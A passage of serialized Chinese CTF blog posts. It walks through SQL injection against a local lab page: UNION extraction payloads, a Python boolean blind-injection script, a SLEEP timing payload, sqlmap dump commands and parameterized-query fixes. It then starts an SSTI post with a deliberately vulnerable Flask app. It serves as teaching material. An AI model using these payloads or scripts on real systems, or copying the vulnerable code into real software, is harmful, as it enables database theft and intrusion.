table_schema=database()--+",[37,5789,5514],{"class":1545},[15,5791,1310,5792,490],{},[19,5793,5794],{},"articles,flag,users",[85,5796,5798],{"id":5797},"第-5-步查列名","第 5 步：查列名",[28,5800,5802],{"className":30,"code":5801,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[19,5803,5804],{"__ignoreMap":33},[37,5805,5806,5808,5810,5813],{"class":39,"line":40},[37,5807,5505],{"class":43},[37,5809,5508],{"class":1545},[37,5811,5812],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[37,5814,5514],{"class":1545},[15,5816,1310,5817,490],{},[19,5818,3398],{},[15,5820,5821,5824,5825,5827,5828,5830,5831,5833],{},[107,5822,5823],{},"说明","：如果第 4 步看到多个表，比如 ",[19,5826,5794],{},"，优先怀疑 ",[19,5829,3398],{}," 表；列名可能不是 ",[19,5832,3398],{},"，需要本步用 information_schema.columns 确认。",[85,5835,5837],{"id":5836},"第-6-步拿数据","第 6 步：拿数据",[28,5839,5841],{"className":30,"code":5840,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[19,5842,5843],{"__ignoreMap":33},[37,5844,5845,5847,5849,5852],{"class":39,"line":40},[37,5846,5505],{"class":43},[37,5848,5508],{"class":1545},[37,5850,5851],{"class":47},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[37,5853,5514],{"class":1545},[15,5855,1310,5856,490],{},[19,5857,5858],{},"flag{sql_injection}",[15,5860,5861,5864],{},[107,5862,5863],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5866,5868],{"id":5867},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5870,5871,5873],{},[107,5872,109],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5875,5876],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[85,5878,5880],{"id":5879},"_51-布尔盲注","5.1 布尔盲注",[28,5882,5884],{"className":30,"code":5883,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[19,5885,5886],{"__ignoreMap":33},[37,5887,5888,5890,5892,5895],{"class":39,"line":40},[37,5889,5505],{"class":43},[37,5891,5508],{"class":1545},[37,5893,5894],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[37,5896,5514],{"class":1545},[15,5898,5899,5900,490],{},"正常 → 库名第一个字符是 ",[19,5901,1939],{},[28,5903,5905],{"className":30,"code":5904,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[19,5906,5907],{"__ignoreMap":33},[37,5908,5909,5911,5913,5916],{"class":39,"line":40},[37,5910,5505],{"class":43},[37,5912,5508],{"class":1545},[37,5914,5915],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[37,5917,5514],{"class":1545},[15,5919,5920,5921,490],{},"为空 → 不是 ",[19,5922,3591],{},[15,5924,5925],{},"自动化脚本：",[15,5927,5928,5930,5931,5934],{},[107,5929,336],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[19,5932,5933],{},"hello","）就说明猜对，把字符记下再问下一位。",[28,5936,5938],{"className":113,"code":5937,"language":115,"meta":33,"style":33},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[19,5939,5940,5945,5950,5954,5959,5964,5968,5973,5978,5983,5988,5993,5998,6003,6008,6013,6018,6023,6028,6033,6038,6043,6048,6053,6058,6063,6067],{"__ignoreMap":33},[37,5941,5942],{"class":39,"line":40},[37,5943,5944],{},"import requests, string\n",[37,5946,5947],{"class":39,"line":60},[37,5948,5949],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[37,5951,5952],{"class":39,"line":71},[37,5953,133],{"emptyLinePlaceholder":132},[37,5955,5956],{"class":39,"line":136},[37,5957,5958],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[37,5960,5961],{"class":39,"line":142},[37,5962,5963],{},"result = \"\"          # 保存已确认的 flag 片段\n",[37,5965,5966],{"class":39,"line":148},[37,5967,133],{"emptyLinePlaceholder":132},[37,5969,5970],{"class":39,"line":154},[37,5971,5972],{},"for pos in range(1, 50):\n",[37,5974,5975],{"class":39,"line":159},[37,5976,5977],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[37,5979,5980],{"class":39,"line":165},[37,5981,5982],{},"    found = False\n",[37,5984,5985],{"class":39,"line":171},[37,5986,5987],{},"    for ch in string.printable:\n",[37,5989,5990],{"class":39,"line":177},[37,5991,5992],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[37,5994,5995],{"class":39,"line":183},[37,5996,5997],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[37,5999,6000],{"class":39,"line":189},[37,6001,6002],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[37,6004,6005],{"class":39,"line":195},[37,6006,6007],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[37,6009,6010],{"class":39,"line":200},[37,6011,6012],{},"        r = requests.get(url, params={\"id\": payload})\n",[37,6014,6015],{"class":39,"line":206},[37,6016,6017],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[37,6019,6020],{"class":39,"line":212},[37,6021,6022],{},"        # r.text：响应正文。\n",[37,6024,6025],{"class":39,"line":218},[37,6026,6027],{},"        if \"hello\" in r.text:\n",[37,6029,6030],{"class":39,"line":224},[37,6031,6032],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[37,6034,6035],{"class":39,"line":230},[37,6036,6037],{},"            result += ch\n",[37,6039,6040],{"class":39,"line":236},[37,6041,6042],{},"            print(result)\n",[37,6044,6045],{"class":39,"line":241},[37,6046,6047],{},"            found = True\n",[37,6049,6050],{"class":39,"line":247},[37,6051,6052],{},"            break\n",[37,6054,6055],{"class":39,"line":253},[37,6056,6057],{},"    if not found or result.endswith('}'):\n",[37,6059,6060],{"class":39,"line":258},[37,6061,6062],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[37,6064,6065],{"class":39,"line":264},[37,6066,434],{},[37,6068,6069],{"class":39,"line":270},[37,6070,6071],{},"print(\"flag:\", result)\n",[15,6073,6074],{},"运行过程输出（节选）：",[28,6076,6079],{"className":6077,"code":6078,"language":97,"meta":33},[95],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[19,6080,6078],{"__ignoreMap":33},[85,6082,6084],{"id":6083},"_52-时间盲注","5.2 时间盲注",[15,6086,6087,6088,6091],{},"页面连\"正常/异常\"都无法区分时，用 ",[19,6089,6090],{},"SLEEP"," 制造时间差：",[28,6093,6095],{"className":30,"code":6094,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[19,6096,6097],{"__ignoreMap":33},[37,6098,6099,6101,6103,6106],{"class":39,"line":40},[37,6100,5505],{"class":43},[37,6102,5508],{"class":1545},[37,6104,6105],{"class":47},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[37,6107,5514],{"class":1545},[15,6109,6110],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6112,6114],{"id":6113},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6116,6117,6119],{},[107,6118,109],{},"：手工确认后，用工具批量完成拖库，效率更高。",[85,6121,6123],{"id":6122},"命令-1检测","命令 1：检测",[15,6125,6126,6128],{},[107,6127,336],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[28,6130,6132],{"className":30,"code":6131,"language":32,"meta":33,"style":33},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[19,6133,6134],{"__ignoreMap":33},[37,6135,6136,6139,6142,6144,6146,6149],{"class":39,"line":40},[37,6137,6138],{"class":43},"sqlmap",[37,6140,6141],{"class":479}," -u",[37,6143,5508],{"class":1545},[37,6145,5511],{"class":47},[37,6147,6148],{"class":1545},"\"",[37,6150,6151],{"class":479}," --batch\n",[15,6153,1555],{},[28,6155,6158],{"className":6156,"code":6157,"language":97,"meta":33},[95],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[19,6159,6157],{"__ignoreMap":33},[85,6161,6163],{"id":6162},"命令-2列库","命令 2：列库",[28,6165,6167],{"className":30,"code":6166,"language":32,"meta":33,"style":33},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[19,6168,6169],{"__ignoreMap":33},[37,6170,6171,6173,6175,6177,6179,6181],{"class":39,"line":40},[37,6172,6138],{"class":43},[37,6174,6141],{"class":479},[37,6176,5508],{"class":1545},[37,6178,5511],{"class":47},[37,6180,6148],{"class":1545},[37,6182,6183],{"class":479}," --dbs\n",[15,6185,6186,6187,490],{},"预期输出：数据库列表，含 ",[19,6188,1164],{},[85,6190,6192],{"id":6191},"命令-3导出数据","命令 3：导出数据",[28,6194,6196],{"className":30,"code":6195,"language":32,"meta":33,"style":33},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[19,6197,6198],{"__ignoreMap":33},[37,6199,6200,6202,6204,6206,6208,6210,6213,6216,6219,6221],{"class":39,"line":40},[37,6201,6138],{"class":43},[37,6203,6141],{"class":479},[37,6205,5508],{"class":1545},[37,6207,5511],{"class":47},[37,6209,6148],{"class":1545},[37,6211,6212],{"class":479}," -D",[37,6214,6215],{"class":47}," ctf",[37,6217,6218],{"class":479}," -T",[37,6220,1081],{"class":47},[37,6222,6223],{"class":479}," --dump\n",[15,6225,1310,6226,6228,6229,490],{},[19,6227,3398],{}," 表内容 ",[19,6230,5858],{},[10,6232,6234],{"id":6233},"七核心步骤-5防御","七、核心步骤 5：防御",[28,6236,6238],{"className":5272,"code":6237,"language":5274,"meta":33,"style":33},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[19,6239,6240,6245,6250,6255,6259,6264,6269,6274],{"__ignoreMap":33},[37,6241,6242],{"class":39,"line":40},[37,6243,6244],{},"// PDO 参数化\n",[37,6246,6247],{"class":39,"line":60},[37,6248,6249],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[37,6251,6252],{"class":39,"line":71},[37,6253,6254],{},"$stmt->execute([$_GET['id']]);\n",[37,6256,6257],{"class":39,"line":136},[37,6258,133],{"emptyLinePlaceholder":132},[37,6260,6261],{"class":39,"line":142},[37,6262,6263],{},"// mysqli 参数化\n",[37,6265,6266],{"class":39,"line":148},[37,6267,6268],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[37,6270,6271],{"class":39,"line":154},[37,6272,6273],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[37,6275,6276],{"class":39,"line":159},[37,6277,6278],{},"$stmt->execute();\n",[28,6280,6282],{"className":113,"code":6281,"language":115,"meta":33,"style":33},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[19,6283,6284],{"__ignoreMap":33},[37,6285,6286],{"class":39,"line":40},[37,6287,6281],{},[15,6289,6290,6291,6294],{},"参数化后，输入 ",[19,6292,6293],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6296,6298],{"id":6297},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6300,6301,6303],{},[107,6302,109],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6305,6306,6307,1682],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[19,6308,6309],{},"sim.py",[28,6311,6313],{"className":113,"code":6312,"language":115,"meta":33,"style":33},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[19,6314,6315,6320,6325,6329,6334,6339,6344,6349,6353,6358,6362,6367,6372,6376,6381,6386,6391,6396,6401,6406,6411,6416,6421,6426,6431,6436,6440,6445,6450,6455,6460,6465,6470,6475],{"__ignoreMap":33},[37,6316,6317],{"class":39,"line":40},[37,6318,6319],{},"import sqlite3\n",[37,6321,6322],{"class":39,"line":60},[37,6323,6324],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[37,6326,6327],{"class":39,"line":71},[37,6328,133],{"emptyLinePlaceholder":132},[37,6330,6331],{"class":39,"line":136},[37,6332,6333],{},"conn = sqlite3.connect(':memory:')\n",[37,6335,6336],{"class":39,"line":142},[37,6337,6338],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[37,6340,6341],{"class":39,"line":148},[37,6342,6343],{},"conn.executescript('''\n",[37,6345,6346],{"class":39,"line":154},[37,6347,6348],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[37,6350,6351],{"class":39,"line":159},[37,6352,5393],{},[37,6354,6355],{"class":39,"line":165},[37,6356,6357],{},"CREATE TABLE flag (flag TEXT);\n",[37,6359,6360],{"class":39,"line":171},[37,6361,5403],{},[37,6363,6364],{"class":39,"line":177},[37,6365,6366],{},"''')\n",[37,6368,6369],{"class":39,"line":183},[37,6370,6371],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[37,6373,6374],{"class":39,"line":189},[37,6375,133],{"emptyLinePlaceholder":132},[37,6377,6378],{"class":39,"line":195},[37,6379,6380],{},"def query(id_):\n",[37,6382,6383],{"class":39,"line":200},[37,6384,6385],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[37,6387,6388],{"class":39,"line":206},[37,6389,6390],{},"    cur = conn.cursor()\n",[37,6392,6393],{"class":39,"line":212},[37,6394,6395],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[37,6397,6398],{"class":39,"line":218},[37,6399,6400],{},"    try:\n",[37,6402,6403],{"class":39,"line":224},[37,6404,6405],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[37,6407,6408],{"class":39,"line":230},[37,6409,6410],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[37,6412,6413],{"class":39,"line":236},[37,6414,6415],{},"        return str(cur.fetchall())\n",[37,6417,6418],{"class":39,"line":241},[37,6419,6420],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[37,6422,6423],{"class":39,"line":247},[37,6424,6425],{},"    except Exception as e:\n",[37,6427,6428],{"class":39,"line":253},[37,6429,6430],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[37,6432,6433],{"class":39,"line":258},[37,6434,6435],{},"        return \"ERROR: \" + str(e)\n",[37,6437,6438],{"class":39,"line":264},[37,6439,133],{"emptyLinePlaceholder":132},[37,6441,6442],{"class":39,"line":270},[37,6443,6444],{},"print(query(\"1\"))\n",[37,6446,6447],{"class":39,"line":276},[37,6448,6449],{},"print(query(\"1'\"))\n",[37,6451,6452],{"class":39,"line":281},[37,6453,6454],{},"print(query(\"1 AND 1=1\"))\n",[37,6456,6457],{"class":39,"line":287},[37,6458,6459],{},"print(query(\"1 AND 1=2\"))\n",[37,6461,6462],{"class":39,"line":293},[37,6463,6464],{},"print(query(\"1 ORDER BY 3\"))\n",[37,6466,6467],{"class":39,"line":299},[37,6468,6469],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[37,6471,6472],{"class":39,"line":305},[37,6473,6474],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[37,6476,6477],{"class":39,"line":4875},[37,6478,6479],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6481,6482],{},"运行：",[28,6484,6486],{"className":30,"code":6485,"language":32,"meta":33,"style":33},"python3 sim.py\n",[19,6487,6488],{"__ignoreMap":33},[37,6489,6490,6492],{"class":39,"line":40},[37,6491,3224],{"class":43},[37,6493,6494],{"class":47}," sim.py\n",[15,6496,456],{},[28,6498,6501],{"className":6499,"code":6500,"language":97,"meta":33},[95],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[19,6502,6500],{"__ignoreMap":33},[15,6504,6505],{},"逐行对应：",[943,6507,6508,6521],{},[946,6509,6510],{},[949,6511,6512,6515,6518],{},[952,6513,6514],{},"输入",[952,6516,6517],{},"输出",[952,6519,6520],{},"结论",[962,6522,6523,6536,6549,6561,6574,6587,6602,6615],{},[949,6524,6525,6530,6533],{},[967,6526,6527],{},[19,6528,6529],{},"1",[967,6531,6532],{},"正常记录",[967,6534,6535],{},"基线",[949,6537,6538,6543,6546],{},[967,6539,6540],{},[19,6541,6542],{},"1'",[967,6544,6545],{},"语法错误",[967,6547,6548],{},"注入点存在",[949,6550,6551,6556,6558],{},[967,6552,6553],{},[19,6554,6555],{},"1 AND 1=1",[967,6557,6532],{},[967,6559,6560],{},"条件真",[949,6562,6563,6568,6571],{},[967,6564,6565],{},[19,6566,6567],{},"1 AND 1=2",[967,6569,6570],{},"空",[967,6572,6573],{},"条件假",[949,6575,6576,6581,6584],{},[967,6577,6578],{},[19,6579,6580],{},"1 ORDER BY 3",[967,6582,6583],{},"正常",[967,6585,6586],{},"至少 3 列",[949,6588,6589,6594,6599],{},[967,6590,6591],{},[19,6592,6593],{},"-1 UNION SELECT 1,2,3",[967,6595,6596],{},[19,6597,6598],{},"(1, 2, 3)",[967,6600,6601],{},"3 列且回显",[949,6603,6604,6607,6612],{},[967,6605,6606],{},"查 sqlite_master",[967,6608,6609],{},[19,6610,6611],{},"articles,flag",[967,6613,6614],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[949,6616,6617,6620,6624],{},[967,6618,6619],{},"查 flag 表",[967,6621,6622],{},[19,6623,5858],{},[967,6625,6626],{},"拿到 flag",[10,6628,6630],{"id":6629},"九小结","九、小结",[15,6632,6633,6634,6637],{},"SQL 注入主线：",[107,6635,6636],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1144,6639,6640],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":33,"searchDepth":60,"depth":60,"links":6642},[6643,6644,6645,6646,6647,6648,6649,6650,6651],{"id":5265,"depth":71,"text":5266},{"id":5317,"depth":71,"text":5318},{"id":5471,"depth":71,"text":5472},{"id":5629,"depth":71,"text":5630},{"id":5867,"depth":71,"text":5868},{"id":6113,"depth":71,"text":6114},{"id":6233,"depth":71,"text":6234},{"id":6297,"depth":71,"text":6298},{"id":6629,"depth":71,"text":6630},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1160,"image":6654,"alt":6655,"tags":6656,"published":132},"/blogs-img/blog5.png","SQL 注入深入实战",[1164,6657,6658,1167],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5260,"description":6652},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6664,"title":6665,"body":6666,"description":7712,"extension":1158,"meta":7713,"navigation":132,"ogImage":7714,"path":7718,"seo":7719,"stem":7720,"__hash__":7721},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6667,"toc":7702},[6668,6672,6675,6718,6729,6732,6741,6747,6751,6765,6770,6823,6825,6837,6841,6846,6859,6863,6879,6881,6903,6907,6923,6925,6943,6953,6957,7024,7028,7033,7066,7075,7079,7085,7089,7095,7098,7114,7116,7134,7137,7153,7155,7173,7186,7194,7205,7212,7218,7221,7299,7305,7308,7314,7318,7330,7339,7351,7355,7361,7365,7371,7380,7382,7386,7432,7436,7479,7485,7489,7492,7561,7565,7574,7578,7583,7598,7604,7608,7623,7652,7655,7661,7665,7673,7676,7682,7684,7699],[10,6669,6671],{"id":6670},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6673,6674],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[28,6676,6678],{"className":113,"code":6677,"language":115,"meta":33,"style":33},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[19,6679,6680,6685,6689,6694,6698,6703,6708,6713],{"__ignoreMap":33},[37,6681,6682],{"class":39,"line":40},[37,6683,6684],{},"from flask import Flask, render_template\n",[37,6686,6687],{"class":39,"line":60},[37,6688,133],{"emptyLinePlaceholder":132},[37,6690,6691],{"class":39,"line":71},[37,6692,6693],{},"app = Flask(__name__)\n",[37,6695,6696],{"class":39,"line":136},[37,6697,133],{"emptyLinePlaceholder":132},[37,6699,6700],{"class":39,"line":142},[37,6701,6702],{},"@app.route(\"/\")\n",[37,6704,6705],{"class":39,"line":148},[37,6706,6707],{},"def index():\n",[37,6709,6710],{"class":39,"line":154},[37,6711,6712],{},"    name = request.args.get(\"name\", \"world\")\n",[37,6714,6715],{"class":39,"line":159},[37,6716,6717],{},"    return render_template(\"hello.html\", name=name)\n",[15,6719,6720,6721,6724,6725,6728],{},"模板文件 ",[19,6722,6723],{},"hello.html"," 内容是固定的 ",[19,6726,6727],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6730,6731],{},"错误写法是把用户输入拼进模板字符串：",[28,6733,6735],{"className":113,"code":6734,"language":115,"meta":33,"style":33},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[19,6736,6737],{"__ignoreMap":33},[37,6738,6739],{"class":39,"line":40},[37,6740,6734],{},[15,6742,6743,6746],{},[19,6744,6745],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6748,6750],{"id":6749},"二环境搭建","二、环境搭建",[28,6752,6754],{"className":30,"code":6753,"language":32,"meta":33,"style":33},"pip install flask\n",[19,6755,6756],{"__ignoreMap":33},[37,6757,6758,6760,6762],{"class":39,"line":40},[37,6759,3801],{"class":43},[37,6761,48],{"class":47},[37,6763,6764],{"class":47}," flask\n",[15,6766,2539,6767,1682],{},[19,6768,6769],{},"app.py",[28,6771,6773],{"className":113,"code":6772,"language":115,"meta":33,"style":33},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[19,6774,6775,6780,6784,6788,6792,6796,6800,6804,6809,6814,6818],{"__ignoreMap":33},[37,6776,6777],{"class":39,"line":40},[37,6778,6779],{},"from flask import Flask, request, render_template_string\n",[37,6781,6782],{"class":39,"line":60},[37,6783,133],{"emptyLinePlaceholder":132},[37,6785,6786],{"class":39,"line":71},[37,6787,6693],{},[37,6789,6790],{"class":39,"line":136},[37,6791,133],{"emptyLinePlaceholder":132},[37,6793,6794],{"class":39,"line":142},[37,6795,6702],{},[37,6797,6798],{"class":39,"line":148},[37,6799,6707],{},[37,6801,6802],{"class":39,"line":154},[37,6803,6712],{},[37,6805,6806],{"class":39,"line":159},[37,6807,6808],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[37,6810,6811],{"class":39,"line":165},[37,6812,6813],{},"    return render_template_string(html, name=name)\n",[37,6815,6816],{"class":39,"line":171},[37,6817,133],{"emptyLinePlaceholder":132},[37,6819,6820],{"class":39,"line":177},[37,6821,6822],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6824,6482],{},[28,6826,6828],{"className":30,"code":6827,"language":32,"meta":33,"style":33},"python app.py\n",[19,6829,6830],{"__ignoreMap":33},[37,6831,6832,6834],{"class":39,"line":40},[37,6833,115],{"class":43},[37,6835,6836],{"class":47}," app.py\n",[10,6838,6840],{"id":6839},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6842,6843,6845],{},[107,6844,109],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6847,6848,6850,6851,6854,6855,6858],{},[107,6849,336],{},"：模板引擎会执行 ",[19,6852,6853],{},"{{ 表达式 }}","。传 ",[19,6856,6857],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[85,6860,6862],{"id":6861},"_31-正常请求","3.1 正常请求",[28,6864,6866],{"className":30,"code":6865,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[19,6867,6868],{"__ignoreMap":33},[37,6869,6870,6872,6874,6877],{"class":39,"line":40},[37,6871,5505],{"class":43},[37,6873,5508],{"class":1545},[37,6875,6876],{"class":47},"http://127.0.0.1:5000/?name=alice",[37,6878,5514],{"class":1545},[15,6880,1310],{},[28,6882,6886],{"className":6883,"code":6884,"language":6885,"meta":33,"style":33},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, 